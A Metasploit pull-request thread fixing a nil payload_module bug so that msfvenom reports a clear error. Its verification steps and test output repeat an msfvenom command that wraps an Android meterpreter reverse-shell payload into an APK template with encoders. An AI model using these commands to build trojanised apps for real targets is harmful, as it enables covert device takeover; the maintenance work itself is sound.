Update payload_generator.rb to properly check if payload_module is nil

[gwillcox-r7]

This fixes #13156 by fixing up the code of lib/msf/core/payload_generator.rb so that if the payload_module global variable is nil, an exception is raised. This prevents potential nil reference errors like the one mentioned in #13156.

Verification

List the steps needed to make sure this thing works

Before patch:

• Run: ./msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.187 LPORT=1234 -e x86/shikata_ga_nai -i 2 R -x ./Terminus.apk -k | ./msfvenom -a java --platform android -e x86/jmp_call_additive -i 3 -o ./terminus3.apk
• Verify that you see the message Error: undefined method 'datastore' for nil:NilClass

After patch:

• Run: ./msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.187 LPORT=1234 -e x86/shikata_ga_nai -i 2 R -x ./Terminus.apk -k | ./msfvenom -a java --platform android -e x86/jmp_call_additive -i 3 -o ./terminus3.apk
• Verify that you see the message Error: A payload module was not selected

[gwillcox-r7]

After talking with @wvu-r7 about this further looks like my changes completely missed the mark on fixing the root issue. Will be updating this PR shortly with some fixes to actually try and address the root cause, which is that payload_module can sometimes become nil, which will result in the call payload_module.database failing.

[gwillcox-r7]

Ok applied proper fixes now. Also updated the PR description to describe the new error message that should be encountered.

[gwillcox-r7]

@smcintyre-r7 Rebased to remove erroneous commits not related to the issue as per our discussion.

[smcintyre-r7]

Output from the last test showing the meaningful error message:

./msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.187 LPORT=1234 -e x86/shikata_ga_nai -i 2 R -x ./Terminus.apk -k | ./msfvenom -a java --platform android -e x86/jmp_call_additive -i 3 -o ./terminus3.apk
Attempting to read payload from STDIN...
Using APK template: ./Terminus.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[-] Usage: ./msfvenom -x [target.apk] [msfvenom options]
[-] e.g. ./msfvenom -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443
Error: Invalid template: ./Terminus.apk
Error: A payload module was not selected

I'll land this once the unit tests pass.

[smcintyre-r7]

Release Notes

Fixed a bug where msfvenom would throw a cryptic error message when invoked without specifying a required payload.